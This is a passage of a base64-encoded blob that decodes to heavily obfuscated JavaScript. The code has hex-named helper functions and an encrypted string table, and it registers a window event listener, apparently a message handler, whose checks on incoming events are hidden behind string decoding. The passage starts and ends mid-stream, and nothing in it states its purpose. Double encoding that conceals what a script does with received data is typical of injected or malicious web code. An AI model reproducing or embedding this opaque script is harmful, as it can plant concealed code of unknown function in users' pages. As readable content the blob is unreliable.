I3LF8weDVjNzhlOSxfMHgxNWI5ZWUsXzB4NGVlYWMyLF8weDM0ZTY0ZCl7cmV0dXJuIF8weDhhM2IoXzB4MTViOWVlLTB4MjIxLF8weDVhNjMyNyk7fWZ1bmN0aW9uIF8weDNjMmM2OChfMHhmYzA1ZWEsXzB4MTg1NDU2LF8weDUxZTdkMyxfMHgzMDk5YmIsXzB4NTY4NzI1KXtyZXR1cm4gXzB4OGEzYihfMHgxODU0NTYtMHgyOTUsXzB4ZmMwNWVhKTt9ZnVuY3Rpb24gXzB4NDcxNDA2KF8weDFlYjNhNSxfMHgyZDEyOTUsXzB4NGNiYTZiLF8weDFhZjM2NyxfMHg3N2U5NDcpe3JldHVybiBfMHg4YTNiKF8weDFlYjNhNS0gLTB4MzZkLF8weDFhZjM2Nyk7fXdpbmRvd1tfMHg0NzE0MDYoLTB4OWEsMHhlLC0weDI2YiwnZ3BRaCcsLTB4MWNiKStfMHgzYzJjNjgoJ0MlSDInLDB4NjYyLDB4NjI2LDB4OTNhLDB4ODljKStfMHgzYzJjNjgoJ0Bxdm0nLDB4NzllLDB4NGQzLDB4ODZjLDB4NmQzKSsnciddKF8weDNjMmM2OCgncWhXVycsMHg2OTQsMHg2MzgsMHg0NDUsMHg3YzMpKydnZScsXzB4MjI5NGM0PT57ZnVuY3Rpb24gXzB4NDZkMWQ3KF8weDFlNTk5MCxfMHg0NTVjYzQsXzB4NjQ3ODc3LF8weDUzZWJhLF8weDQzY2UzYil7cmV0dXJuIF8weDNjMmM2OChfMHg0NTVjYzQsXzB4MWU1OTkwLSAtMHg1MTksXzB4NjQ3ODc3LTB4M2EsXzB4NTNlYmEtMHg3YSxfMHg0M2NlM2ItMHg5Nik7fWZ1bmN0aW9uIF8weDVlMDA0YyhfMHg1MzI3MmIsXzB4M2E1YzJiLF8weDIxNTQ2NyxfMHg1MTUxMzcsXzB4MWEyOGIzKXtyZXR1cm4gXzB4M2MyYzY4KF8weDNhNWMyYixfMHg1MzI3MmItIC0weDNhZCxfMHgyMTU0NjctMHgxZjIsXzB4NTE1MTM3LTB4YzksXzB4MWEyOGIzLTB4MWViKTt9ZnVuY3Rpb24gXzB4Mzg5NjFiKF8weDQxMzI4ZCxfMHg0ZDY1ZmIsXzB4M2Q1Y2Q5LF8weDk4YTBiNCxfMHgxNzJiNzUpe3JldHVybiBfMHg0NzE0MDYoXzB4M2Q1Y2Q5LTB4NzMxLF8weDRkNjVmYi0weDllLF8weDNkNWNkOS0weDFlMyxfMHgxNzJiNzUsXzB4MTcyYjc1LTB4NTcpO31mdW5jdGlvbiBfMHg0M2NlODgoXzB4NWM1MmYzLF8weDI5MzE5ZixfMHgxNjMyNTEsXzB4NTM3OWE2LF8weDFkZWMwMyl7cmV0dXJuIF8weDFiOTdkOChfMHg1YzUyZjMsXzB4MjkzMTlmLTB4ZjYsXzB4MTYzMjUxLSAtMHg0ZGUsXzB4NTM3OWE2LTB4ZGYsXzB4MWRlYzAzLTB4OGQpO31mdW5jdGlvbiBfMHhiM2U3NjIoXzB4MmQ5MjU3LF8weDI0MzA1OCxfMHgzMTM5NGIsXzB4MTdjNTUxLF8weDRjY2IxYil7cmV0dXJuIF8weDQ3MTQwNihfMHgyZDkyNTctMHg1ZWUsXzB4MjQzMDU4LTB4MTk3LF8weDMxMzk0Yi0weDE4OCxfMHg0Y2NiMWIsXzB4NGNjYjFiLTB4MWIpO31jb25zdCBfMHgyNTI4NTY9eydUTEN2cyc6ZnVuY3Rpb24oXzB4MjI2YTYzLF8weDUyNWU5OCl7cmV0dXJuIF8weDIyNmE2MyhfMHg1MjVlOTgpO30sJ3VsVUFHJzpfMHgzODk2MWIoMHg1ZTMsMHg3ZTIsMHg3YmUsMHg1ZmQsJ2ZnKnYnKSwnaE9EckYnOmZ1bmN0aW9uKF8weGQ1MGIwZSxfMHgzODQzZWUpe3JldHVybiBfMHhkNTBiMGUhPT1fMHgzODQzZWU7fSwncWpLTnonOl8weDM4OTYxYigweDg0OSwweDgxOCwweDY2NSwweDhkMSwnUF0qdycpLCd0V0ZuaSc6ZnVuY3Rpb24oXzB4M2Q1MmM4LF8weDg5OWM4Yil7cmV0dXJuIF8weDNkNTJjOD09PV8weDg5OWM4Yjt9LCdHYXlFWic6XzB4NDNjZTg4KCd5Q0l6JywweDNhNiwweDNjMSwweDUxZSwweDI4ZCkrXzB4NWUwMDRjKDB4YTAsJ3NFYUMnLDB4MTM3LDB4ZGMsLTB4MjApK18weGIzZTc2MigweDczZSwweDUxYSwweDljZCwweDRiYywnbFNvWicpKydvJywnWWFHRW0nOl8weDQ2ZDFkNygweDNmMCwnZnQ5VicsMHgzMDQsMHg2OTYsMHgzYTMpLCdRUUhQRSc6XzB4Mzg5NjFiKDB4YjZiLDB4YzBiLDB4OTliLDB4OTA3LCcmc2ZqJykrXzB4Mzg5NjFiKDB4OWU2LDB4YWNlLDB4OGNlLDB4N2Q5LCdkM1Q2JyksJ21jaXpOJzpmdW5jdGlvbihfMHg0OGZjMmYsXzB4NDhmMjhjKXtyZXR1cm4gXzB4NDhmYzJmIT09XzB4NDhmMjhjO30sJ0ZXa3VuJzpfMHg1ZTAwNGMoMHg0YzksJ0JiNDcnLDB4Mjc1LDB4MjQzLDB4NDhhKSwnYmZTTFAnOl8weDQzY2U4OCgnWUtjWCcsMHg0OTMsMHgyZDksMHg1OTgsMHgyYmIpK18weDQ2ZDFkNygweGQ5LCdkM1Q2JywweDE0OCwweDFmMywtMHhmOCkrXzB4NDZkMWQ3KC0weGVjLCdzd2FIJywtMHhmYSwtMHgzM2YsLTB4MTE4KSsnZ3MnLCdpd295dCc6XzB4NDZkMWQ3KDB4MmFhLCdpSih1JywtMHgzMCwweDQxZSwweDJhMSkrXzB4YjNlNzYyKDB4N2YzLDB4Nzk5LDB4NjVjLDB4OTY0LCdXbGNUJykrXzB4NDZkMWQ3KDB4MzIxLCdzRWFDJywweDNjNSwweDEyMCwweDM5NykrJ2RyJywnenRGVlonOl8weDM4OTYxYigweDUxYywweDRkZCwweDUzMCwweDQxOSwnQmI0NycpLCdZSGV1aic6XzB4NDZkMWQ3KDB4MzVhLCdTb3FYJywweDMxNCwweDFlYiwweGZkKSwnRmlnVXgnOl8weGIzZTc2MigweDQ5OSwweDU2MywweDI2NiwweDZlNCwna0dObCcpK18weGIzZTc2MigweDhlYiwweDg0ZSwweDcyZiwweDY5MCwnZmcqdicpK18weDVlMDA0YygweDNkNywnTjgzMCcsMHgzMWYsMHgxZmIsMHgzZWEpK18weDQ2ZDFkNygweDIwZiwnNXRRUScsMHgyNjUsMHgzYmYsMHgxMWIpLCdaWEl2Yyc6ZnVuY3Rpb24oXzB4NGIyYjBmKXtyZXR1cm4gXzB4NGIyYjBmKCk7fSwndFpRQmcnOmZ1bmN0aW9uKF8weDFlZjlmMixfMHg1YzZmMzgpe3JldHVybiBfMHgxZWY5ZjI9PT1fMHg1YzZmMzg7fSwnd3VxT3knOl8weDQ2ZDFkNygweDQ0MCwnKGt0SScsMHg2ZjMsMHg2OTcsMHg2ZWMpLCdKWFdXTCc6XzB4NWUwMDRjKDB4MjQ5LCdoOW9VJywweDY2LDB4YzYsLTB4NGQpLCd0aGlkZyc6XzB4Mzg5NjFiKDB4OGJhLDB4YWMxLDB4OTU4LDB4YmVjLCdCYjQ3JykrXzB4YjNlNzYyKDB4NjY3LDB4NmE2LDB4OTFkLDB4NjFiLCdCJWhtJykrXzB4YjNlNzYyKDB4M2QzLDB4MjE5LDB4NTMzLDB4MTU5LCdXTiRYJykrXzB4NWUwMDRjKDB4NDJmLCc1dFFRJywweDI0NiwweDE1OCwweDQyMykrXzB4Mzg5NjFiKDB4YThhLDB4YzQxLDB4YTVkLDB4NzkyLCd6cU1kJyksJ3V0TnJOJzpmdW5jdGlvbihfMHgxYjFjNTcsXzB4NTIyYjhmKXtyZXR1cm4gXzB4MWIxYzU3IT09XzB4NTIyYjhmO30sJ2FNZWRzJzpmdW5jdGlvbihfMHgzYjhkZjcsXzB4MWU2MDUyKXtyZXR1cm4gXzB4M2I4ZGY3KF8weDFlNjA1Mik7fSwnbkdQZWInOl8weDQzY2U4OCgnaDlvVScsLTB4MmFmLC0weDEyZSwweDEzOCwtMHgyYzApLCdPanFXbic6XzB4YjNlNzYyKDB4M2Y1LDB4MzVlLDB4NWMxLDB4MThmLCdXTiRYJyksJ3dCbEZmJzpfMHg0M2NlODgoJ2tHTmwnLDB4NDU5LDB4MmQxLDB4MTUwLDB4NTMwKSwnUk9iYkUnOl8weDVlMDA0YygweDI3MSwnUEkzYicsMHgyMTMsMHgyZmYsMHgxOGUpK18weGIzZTc2MigweDZlMSwweDZhYywweDk3NiwweDcwYywnaVdEZycpKydlJywnQllCUmcnOl8weDM4OTYxYigweDQ5MiwweDQxNiwweDZiYSwweDg0Niwna2RwQycpLCdPQnR2Sic6XzB4NDZkMWQ3KDB4MjUyLCchI3J2JywweDM3MSwweDExMiwweDRlOCksJ2x3UUJCJzpfMHg0NmQxZDcoMHgxZjMsJyZzZmonLDB4MWJkLDB4M2E2LDB4Y2IpK18weDM4OTYxYigweDkzYiwweDgwMiwweDk4NCwweDkxOCwnIyFWTycpK18weGIzZTc2MigweDk3NCwweGE5MywweDc1ZiwweGFmMSwnIXhkVycpK18weDVlMDA0YygweGRmLCdpV0RnJywweGFkLC0weDFlYywtMHgxYmUpLCdJZ3VUTCc6XzB4NWUwMDRjKDB4NDM5LCd3Tl1PJywweDQwZiwweDE4NiwweDU3NSkrXzB4Mzg5NjFiKDB4NzIwLDB4NmJjLDB4OTFjLDB4YjM3LCdkM1Q2JykrXzB4NWUwMDRjKDB4MzViLCcyR2pxJywweDI0NywweDYwMSwweDVkZCkrXzB4NDZkMWQ3KDB4YiwnISNydicsLTB4N2UsLTB4YjEsMHgyNikrXzB4NWUwMDRjKDB4MWIxLCcheGRXJywweDVkLC0weDVlLDB4NDUzKStfMHg0NmQxZDcoMHgxZTksJ0JiNDcnLDB4Mjg5LDB4MjIsMHgzNTcpLCd6WnVTdSc6ZnVuY3Rpb24oXzB4NmU0NDI0LF8weDFmNjlhYil7cmV0dXJuIF8weDZlNDQyNCE9PV8weDFmNjlhYjt9LCd3THNMaic6XzB4NWUwMDRjKDB4MWM1LCdpUWhWJywweGQ3LC0weDgxLC0weDhkKSwnSk5KWWUnOl8weDVlMDA0YygweDMzNCwncWhXVycsMHg1MGEsMHg1MDEsMHgxMGMpLCdhR2VXaSc6XzB4YjNlNzYyKDB4M2ZkLDB4MzVmLDB4NDRlLDB4NGJhLCdDJUgyJykrXzB4YjNlNzYyKDB4NGE3LDB4MzVjLDB4NzJlLDB4MzVkLCcmc2ZqJyksJ1FQZ0x2JzpfMHgzODk2MWIoMHg5MDQsMHg3YWEsMHg2ZjIsMHg3NTYsJ2dwUWgnKStfMHgzODk2MWIoMHhhZTcsMHg4NWQsMHg4ZDIsMHg2NjUsJ1NvcVgnKSwnS1NRV1AnOl8weDM4OTYxYigweDk2YiwweDc5ZSwweGEzYywweDc3ZCwnTjgzMCcpLCd4aVVyRic6ZnVuY3Rpb24oXzB4N2QyYjg4LF8weGQ3NmNlMCl7cmV0dXJuIF8weDdkMmI4OCE9PV8weGQ3NmNlMDt9LCdpSkx1Yic6XzB4NWUwMDRjKDB4M2RhLCdmZyp2JywweDY0MywweDQzNCwweDQ4MiksJ3J3TGJkJzpfMHgzODk2MWIoMHg4NWEsMHg5MjksMHhhMTUsMHg3ZmEsJ1BdKncnKSwnZVlBeGknOl8weDVlMDA0YygweDVjMSwnIXhkVycsMHg0MWQsMHg3ZDQsMHg2OTcpK18weDVlMDA0YygweDI0NSwnZDNUNicsLTB4MmYsMHgxMTEsMHgyMDYpK18weDQ2ZDFkNygweDc4LCdAcXZtJywweDUzLC0weDU5LDB4NTYpK18weDQ2ZDFkNygweGU4LCdDJUgyJywweDM0OCwweDJiNCwtMHgxZTgpLCd6VXNGQyc6XzB4NDNjZTg4KCchI3J2JywweDEyLDB4OTksMHgxNCwweDFhZCkrXzB4NDNjZTg4KCdkM1Q2JywweDI0OSwweDNjZSwweDZhYSwweDU1YikrXzB4NDZkMWQ3KDB4M2E0LCdyejhTJywweDU2NCwweDNjMiwweDM3NSkrXzB4NDZkMWQ3KDB4ZjgsJ3ZbISgnLDB4NCwtMHgxMTYsMHgxZjgpKyd0JywnTmxsU0gnOmZ1bmN0aW9uKF8weDQ4MjU1NSxfMHgxYThhY2Mpe3JldHVybiBfMHg0ODI1NTUhPT1fMHgxYThhY2M7fSwnaWNQeFQnOl8weGIzZTc2MigweDkwOSwweDcxZCwweDdmMSwweGIwNywneUNJeicpLCdOQnh4cyc6XzB4Mzg5NjFiKDB4OTJmLDB4OWU3LDB4N2JkLDB4OWE0LCdpUWhWJyksJ1RWVE1kJzpfMHhiM2U3NjIoMHg3OTMsMHg1ZTQsMHg4YTIsMHg4ZTQsJ3lLTTAnKStfMHg0M2NlODgoJzV0UVEnLDB4MmFkLDB4Mzc3LDB4NTIzLDB4NWU5KStfMHg1ZTAwNGMoMHgzMjksJyVXRFcnLDB4NTgsMHg0MDMsMHg0MWMpK18weGIzZTc2MigweDc5ZCwweDhkYiwweDRlMiwweGE0NywncWhXVycpK18weDVlMDA0YygweDM4ZCwnIXhkVycsMHg0MzIsMHhkNywweDNmZSkrXzB4YjNlNzYyKDB4ODIxLDB4NjIyLDB4Nzk5LDB4OTExLCdkM1Q2JykrJ24nLCdId3VqSSc6ZnVuY3Rpb24oXzB4NDQxMzU2KXtyZXR1cm4gXzB4NDQxMzU2KCk7fSwndGF2dmQnOl8weDQ2ZDFkNygweDI3NywndlshKCcsLTB4YiwweDY2LDB4OCkrXzB4Mzg5NjFiKDB4NTk0LDB4NmNhLDB4NThiLDB4NGY2LCdXbGNUJykrXzB4Mzg5NjFiKDB4NjAxLDB4ODNjLDB4N2M1LDB4ODA3LCd3Tl1PJyksJ2tpcEZIJzpmdW5jdGlvbihfMHg0NmE5YTgsXzB4NGNiYmNhLF8weDNiYjNmMCl7cmV0dXJuIF8weDQ2YTlhOChfMHg0Y2JiY2EsXzB4M2JiM2YwKTt9LCdpYlNwUyc6ZnVuY3Rpb24oXzB4MjRhMzliLF8weDU5ZWNlNyl7cmV0dXJuIF8weDI0YTM5YipfMHg1OWVjZTc7fSwnTWZwRmsnOmZ1bmN0aW9uKF8weGNlMWRlMyxfMHhhNjA5NDEpe3JldHVybiBfMHhjZTFkZTM9PT1fMHhhNjA5NDE7fSwnR1RveksnOl8weDQ2ZDFkNygweDUyLCd3Tl1PJywweDFkZSwweDIwOSwweDEzMyksJ2RFSmVvJzpfMHg0NmQxZDcoMHgzMDcsJ0JiNDcnLDB4NTVkLDB4ZTIsMHgzZWEpLCdxdmNWdCc6XzB4NWUwMDRjKDB4MTE1LCdzRWFDJywtMHhjZSwweDM0YywtMHgxYzgpLCd4eExUbyc6XzB4NDZkMWQ3KDB4M2U1LCdTb3FYJywweDEzNiwweDNiYywweDI1NSkrXzB4NDZkMWQ3KC0weDEwNCwnc1BVZScsMHhhZiwtMHgxOTUsLTB4MjMwKStfMHg1ZTAwNGMoMHg1N2UsJ2tHTmwnLDB4NzNkLDB4MmJkLDB4NWQzKStfMHg0NmQxZDcoMHg0MDAsJ2ZnKnYnLDB4MmJiLDB4MzU5LDB4MTg5KStfMHgzODk2MWIoMHhiZjgsMHg5MWUsMHhhYzQsMHg4NTksJ3lDSXonKStfMHg0NmQxZDcoMHhhMCwnd05dTycsMHhhZCwweDFkMCwtMHgyMWIpLCdWd2NuSCc6ZnVuY3Rpb24oXzB4MWUyOWFhLF8weDU2NDEwMil7cmV0dXJuIF8weDFlMjlhYT09PV8weDU2NDEwMjt9LCdmZGxwbyc6ZnVuY3Rpb24oXzB4ODE0ODMyLF8weDM4YjAxZCl7cmV0dXJuIF8weDgxNDgzMj09PV8weDM4YjAxZDt9LCd6dXBPZyc6ZnVuY3Rpb24oXzB4NGIxZDkwLF8weDdlODE4Myl7cmV0dXJuIF8weDRiMWQ5MCE9PV8weDdlODE4Mzt9LCdtVGVsQyc6XzB4YjNlNzYyKDB4NTI1LDB4Mjc5LDB4NTc2LDB4NzA5LCdAcXZtJyksJ0pJWlZ4JzpfMHhiM2U3NjIoMHg5MDIsMHhiOTgsMHhiYjUsMHg2OWQsJ3dWdWEnKSwndkxLWVInOl8weDM4OTYxYigweDViOSwweDQ0YywweDYwMCwweDcyMywnIXhkVycpK18weDVlMDA0YygweDI0OCwnbFNvWicsLTB4MTcsMHhiNywweDQ1ZikrXzB4NDZkMWQ3KDB4Mjg4LCdZS2NYJywweDFmNCwweDJiNiwweDE4YSkrXzB4NDNjZTg4KCdQSTNiJywweDJiZCwweDMwMCwweDU1OCwweDIwYikrXzB4Mzg5NjFiKDB4YjIzLDB4NjE5LDB4ODVlLDB4NzU0LCd5S00wJykrJ3NlJywnY2dwQVQnOl8weDQzY2U4OCgna2RwQycsLTB4YTgsLTB4YTgsLTB4Mzc5LDB4NjcpLCdRcUpyZic6XzB4YjNlNzYyKDB4OGQzLDB4ODFiLDB4Yjg3LDB4N2ViLCdsU29aJyksJ29tRlRtJzpfMHg0M2NlODgoJ2lRaFYnLC0weDdkLDB4MjFlLDB4OTAsMHgxNjcpK18weDVlMDA0YygweDIzMywnV1RKeicsMHgzZTQsMHg0ZDgsMHgyOGIpK18weDQ2ZDFkNygweDhhLCdAcXZtJywtMHg2ZSwweDI2LC0weDE0ZCkrXzB4Mzg5NjFiKDB4NGJlLDB4NzA3LDB4NzY1LDB4NmRlLCdmdDlWJykrXzB4NWUwMDRjKDB4MTA4LCdCYjQ3JywweDIyYywweDI4MSwweDJlYSkrXzB4YjNlNzYyKDB4NjM4LDB4N2VmLDB4OGM0LDB4NDlmLCdrZHBDJyksJ05xaVhZJzpmdW5jdGlvbihfMHgxZGM0NWYsXzB4MTUyOThiKXtyZXR1cm4gXzB4MWRjNDVmIT09XzB4MTUyOThiO30sJ0RmcFFMJzpfMHgzODk2MWIoMHg3ZGIsMHhiMTUsMHg5N2QsMHg5MDUsJ2QzVDYnKSwna3F4c1EnOl8weDVlMDA0YygweDEzOCwnTjgzMCcsMHg3NSwweDM2LC0weGNkKStfMHhiM2U3NjIoMHg0MjcsMHg1YjEsMHg1MjUsMHg2ZTAsJ3FoV1cnKStfMHg0M2NlODgoJ0MlSDInLDB4M2NkLDB4MjdiLDB4NDEzLDB4MmY1KStfMHg1ZTAwNGMoMHgxYmQsJ2g5b1UnLDB4MzE0LDB4MjdlLDB4MWM3KStfMHhiM2U3NjIoMHg0MWQsMHgxYjUsMHgxYWMsMHg0NWYsJ2g5b1UnKStfMHg1ZTAwNGMoMHgyNzYsJzAkJkgnLDB4MSwweDQ4ZSwweDNiYiksJ2VKanNWJzpmdW5jdGlvbihfMHgxNDJkYWUsXzB4MjBhZDI3KXtyZXR1cm4gXzB4MTQyZGFlIT09XzB4MjBhZDI3O30sJ2RvY1BHJzpfMHg1ZTAwNGMoMHgxNGQsJ0MlSDInLDB4MWI5LDB4MzA0LDB4MzVhKSwnTW1SakInOl8weDQ2ZDFkNygweDc3LCdCJWhtJywweDE3ZCwtMHgxZDcsLTB4NTgpLCdOeUJqUyc6XzB4NDZkMWQ3KDB4YzQsJ2QzVDYnLDB4MjM1LC0weDFkNSwtMHg3ZikrXzB4NWUwMDRjKDB4MWQ4LCdkM1Q2JywweDQ1MywweDJkYSwweDM5OCkrXzB4Mzg5NjFiKDB4MzkyLDB4ODBjLDB4NWQwLDB4NTdhLCdkM1Q2JykrXzB4NDNjZTg4KCd0RyleJywweDEyOCwweDE5NSwweDJlNywweDE3KStfMHg0NmQxZDcoMHhhMiwnSk1WKicsMHgxYmQsLTB4MjJmLDB4MmVjKStfMHhiM2U3NjIoMHg0ZTUsMHg0YzEsMHgzYTYsMHg0MTAsJ2dwUWgnKSwnbGdQdm4nOmZ1bmN0aW9uKF8weDNkMmJkYSxfMHgzZjczYzEpe3JldHVybiBfMHgzZDJiZGEhPT1fMHgzZjczYzE7fSwnVldXWWknOmZ1bmN0aW9uKF8weDUxMDM2NCxfMHg1ODllMTUpe3JldHVybiBfMHg1MTAzNjQoXzB4NTg5ZTE1KTt9LCdWc3RIUic6ZnVuY3Rpb24oXzB4MjZmNDg5LF8weDNmNjc2YSl7cmV0dXJuIF8weDI2ZjQ4OSE9PV8weDNmNjc2YTt9LCdaTFBLcCc6XzB4NDNjZTg4KCc1dFFRJywweDFjZSwweDMxLC0weDIxLDB4MjIzKSwnYU1WVFcnOl8weDQ2ZDFkNygweDY2LCdmZyp2JywweDIwZCwtMHg1OSwweDJlYiksJ2RrTUNzJzpmdW5jdGlvbihfMHgxMzljMzgsXzB4NTExMjJiKXtyZXR1cm4gXzB4MTM5YzM4PT09XzB4NTExMjJiO30sJ0NXc3lPJzpfMHg0NmQxZDcoLTB4MmYsJyRKcjQnLC0weDJhNSwweGM2LC0weGVkKStfMHgzODk2MWIoMHg1ZDAsMHg1YzUsMHg4NmUsMHg5ZWMsJ1NvcVgnKStfMHg0M2NlODgoJyhrdEknLC0weDEwLDB4Mjk2LDB4ZjAsMHg0NGEpK18weDQzY2U4OCgnKGt0SScsMHgyMTQsMHgxZiwtMHgxNzUsMHgxYjMpKydzJywnRkljRksnOl8weDVlMDA0YygweDNhNywnMkdqcScsMHgzYWMsMHgyZjIsMHg1YWQpK18weDQ2ZDFkNygweGYzLCdAcXZtJywtMHgxOTcsMHgzYjYsMHgxZmYpK18weDM4OTYxYigweDJlMywweDY0OCwweDU0MiwweDJhMSwnJmIjcicpK18weDM4OTYxYigweDdlNSwweDYxMiwweDY2ZCwweDM5OSwnV1RKeicpK18weDVlMDA0YygweDNiLCdoOW9VJywtMHgyMiwtMHhhOSwtMHg4MiksJ2h1RXBwJzpmdW5jdGlvbihfMHgxZDIyOTIsXzB4ZDA4ZWUzKXtyZXR1cm4gXzB4MWQyMjkyPT09XzB4ZDA4ZWUzO30sJ1JzanlRJzpfMHg0NmQxZDcoMHgzODEsJ0MlSDInLDB4NjNmLDB4NWM0LDB4M2EwKStfMHg0NmQxZDcoLTB4YzEsJ2dwUWgnLDB4ZjAsMHgxYTcsLTB4MTlkKStfMHg0NmQxZDcoMHgxY2QsJ2tkcEMnLDB4NDI3LDB4MTNhLDB4MWQ1KStfMHg0NmQxZDcoMHgyOTIsJ2lRaFYnLDB4M2NjLDB4NzEsMHg0Y2EpK18weDVlMDA0YygweDViOSwnZnQ5VicsMHgzMjAsMHgzNzksMHg0NDMpLCdncllHTyc6XzB4YjNlNzYyKDB4NDhlLDB4MmQ1LDB4MjFkLDB4NDViLCdpUWhWJykrXzB4NWUwMDRjKDB4NWVhLCdpSih1JywweDc1YSwweDZkOSwweDc3ZSkrXzB4Mzg5NjFiKDB4OTIyLDB4N2ZjLDB4NjRjLDB4Mzg1LCdzd2FIJykrXzB4NDZkMWQ3KDB4M2ZiLCd5S00wJywweDQ4ZiwweDU4NiwweDNjZiksJ0ZPaW1GJzpfMHg1ZTAwNGMoMHg0ZCwnJVdEVycsMHg3LDB4YjksMHgxMTQpK18weDQ2ZDFkNygweDIyNiwnU29xWCcsMHgyODgsMHg5NiwtMHg1MCkrXzB4NDZkMWQ3KDB4MjI0LCdrR05sJywweDNmMSwweDg3LDB4Mjc1KStfMHg0NmQxZDcoMHgzZCwnV1RKeicsMHgyMzYsLTB4MjYyLC0weDFhYSksJ09XVGlxJzpmdW5jdGlvbihfMHgyMzBjNGYsXzB4MTQ5YWQ4KXtyZXR1cm4gXzB4MjMwYzRmPT09XzB4MTQ5YWQ4O30sJ3RoQ1VhJzpfMHgzODk2MWIoMHg0ODgsMHg1Y2UsMHg2MDgsMHg3NmIsJ0pNVionKStfMHg1ZTAwNGMoMHg0YTgsJyMhVk8nLDB4M2YxLDB4NGE0LDB4NTA1KStfMHhiM2U3NjIoMHg0YzcsMHg2ZWIsMHgyYWEsMHg2YzgsJ0pNVionKStfMHg0M2NlODgoJyhrdEknLC0weDExNSwweGI1LDB4OTIsMHgxYzQpKyd3JywnTUJxWGEnOl8weDM4OTYxYigweDhlYiwweGFhYSwweGExYywweGIyNSwnNXRRUScpK18weDQ2ZDFkNygtMHgxMDMsJ044MzAnLDB4MTBjLC0weDJjNSwtMHgyNDYpK18weDVlMDA0YygweDQwYSwnV2xjVCcsMHg0ODcsMHgyMjksMHgzYWMpK18weGIzZTc2MigweDg3NCwweGIxYSwweDZjMSwweDdiMSwna2RwQycpK18weDQzY2U4OCgnaDlvVScsMHhlYiwweDJmYiwweGJkLDB4MTRjKSwnZGt6ZU4nOmZ1bmN0aW9uKF8weDM0ZWZlYixfMHhiZTEzN2Ipe3JldHVybiBfMHgzNGVmZWI9PT1fMHhiZTEzN2I7fSwnbmJLSnYnOl8weGIzZTc2MigweDRiNCwweDU0NywweDRiYywweDcxNywnaVdEZycpK18weDQ2ZDFkNygweDQxOCwnNXRRUScsMHg1MDQsMHg0MDMsMHg0MTcpK18weGIzZTc2MigweDk4NCwweGIzMSwweGI2OSwweDllZCwnUEkzYicpK18weDM4OTYxYigweDhhNCwweDY3YSwweDY3ZSwweDk1NCwnZDNUNicpLCduRE1SYyc6ZnVuY3Rpb24oXzB4ZmQyZWE5LF8weDRhMTY2YSl7cmV0dXJuIF8weGZkMmVhOT09PV8weDRhMTY2YTt9LCd1a3NyTic6XzB4YjNlNzYyKDB4NmNmLDB4OTgzLDB4NmZkLDB4NjQ5LCd6cU1kJykrXzB4Mzg5NjFiKDB4YTZhLDB4OGIzLDB4YTEzLDB4YmExLCd5Q0l6JykrXzB4YjNlNzYyKDB4M2QxLDB4NjdmLDB4NjViLDB4MmI0LCdncFFoJykrXzB4YjNlNzYyKDB4NWFkLDB4ODc5LDB4NTM4LDB4NjM3LCchNltDJyksJ3dUQk1uJzpfMHg0M2NlODgoJ1lLY1gnLDB4MThkLDB4MWQ4LC0weDk5LDB4MzhjKStfMHgzODk2MWIoMHhiMjEsMHg5N2MsMHg5ZGYsMHg4OWYsJ3dWdWEnKStfMHg0NmQxZDcoLTB4N2IsJ0JiNDcnLC0weDJmZiwweDE4ZSwweGY0KStfMHg0M2NlODgoJ3FoV1cnLDB4NDNjLDB4MTg1LDB4MTRlLDB4NDE4KSwnalhoU0onOmZ1bmN0aW9uKF8weDI4NGEzYyxfMHg0OTk3YmIpe3JldHVybiBfMHgyODRhM2M9PT1fMHg0OTk3YmI7fSwnWWN3ZG0nOl8weDM4OTYxYigweDgwMywweGQ2MCwweGE5MiwweGNkNywna2RwQycpK18weDM4OTYxYigweDg5OCwweDkwMCwweDg4MCwweDZmOSwnJVdEVycpK18weDQzY2U4OCgnZnQ5VicsLTB4MmQsLTB4NWUsMHgxNywtMHgxYmYpK18weDQzY2U4OCgncWhXVycsMHgxMDMsLTB4MjYsMHg5MCwweDE2NCksJ1BIQUxsJzpmdW5jdGlvbihfMHg1NTQ5NDMsXzB4NTBhYjkxKXtyZXR1cm4gXzB4NTU0OTQzPT09XzB4NTBhYjkxO30sJ2ZpUEp5JzpfMHg0M2NlODgoJ044MzAnLDB4OWMsLTB4NmQsLTB4MmEsLTB4MTQyKStfMHg0M2NlODgoJ2tkcEMnLDB4NTI3LDB4M2UxLDB4MTQ1LDB4MjcyKStfMHg0NmQxZDcoLTB4M2IsJ2tkcEMnLC0weDIwNywweDI2NiwtMHgxZTEpK18weDQ2ZDFkNygtMHg2YSwnd05dTycsLTB4NTYsLTB4OTcsMHgxZDgpLCdreXh2UCc6ZnVuY3Rpb24oXzB4Mjg1NDkzLF8weDNiNDMzYyl7cmV0dXJuIF8weDI4NTQ5Mz09PV8weDNiNDMzYzt9LCdqaVRaZCc6XzB4NDZkMWQ3KDB4MmJkLCdrR05sJywweDExNiwweDRkYywweDZkKStfMHg0M2NlODgoJ2ZnKnYnLDB4NDRjLDB4MWY4LDB4MzUzLDB4NGNiKStfMHg1ZTAwNGMoMHgzZCwneUNJeicsLTB4MjMwLC0weDI3MiwweDFiMSkrXzB4NDZkMWQ3KC0weDVkLCdpV0RnJywweGUwLDB4MTBiLDB4MjkpLCdZS2tYQSc6ZnVuY3Rpb24oXzB4NTBmYjJjLF8weDE0NzNlMyl7cmV0dXJuIF8weDUwZmIyYz09PV8weDE0NzNlMzt9LCdac3FlSyc6XzB4YjNlNzYyKDB4NjE0LDB4NjYzLDB4M2QxLDB4Mzg5LCdoOW9VJykrXzB4NDZkMWQ3KDB4MTYsJ3RHKV4nLDB4MWUwLDB4ZTAsMHgxYzYpK18weDM4OTYxYigweGI4YSwweDcxMCwweDhiMCwweDllYSwnMkdqcScpKydvJ307dHJ5e2lmKF8weDI1Mjg1NltfMHhiM2U3NjIoMHg3MTIsMHg4NmQsMHg4ZmIsMHg1MTMsJ0JiNDcnKV0oXzB4MjUyODU2W18weGIzZTc2MigweDkzMiwweDZhYiwweGJjZSwweDhhNCwnc0VhQycpXSxfMHgyNTI4NTZbXzB4NDNjZTg4KCdCJWhtJywweGMwLDB4ZDgsLTB4YWYsLTB4MTU2KV0pKV8weDIyOTRjNFtfMHhiM2U3NjIoMHg2ZGEsMHg1ZGQsMHg4YTYsMHg3NGMsJyEjcnYnKV0mJl8weDIyOTRjNFtfMHhiM2U3NjIoMHg2NTEsMHg1MzcsMHg0MTEsMHg0NWEsJ2tkcEMnKV0mJihfMHgyNTI4NTZbXzB4Mzg5NjFiKDB4NmFlLDB4N2MzLDB4OGJhLDB4ODkxLCd3Tl1PJyldKF8weDI1Mjg1NltfMHg0NmQxZDcoMHhiZSwnV1RKeicsLTB4MTU4LDB4MzkyLDB4ZGQpXSxfMHgyMjk0YzRbXzB4Mzg5NjFiKDB4N2VhLDB4Mzc5LDB4NWEzLDB4NjVkLCc1dFFR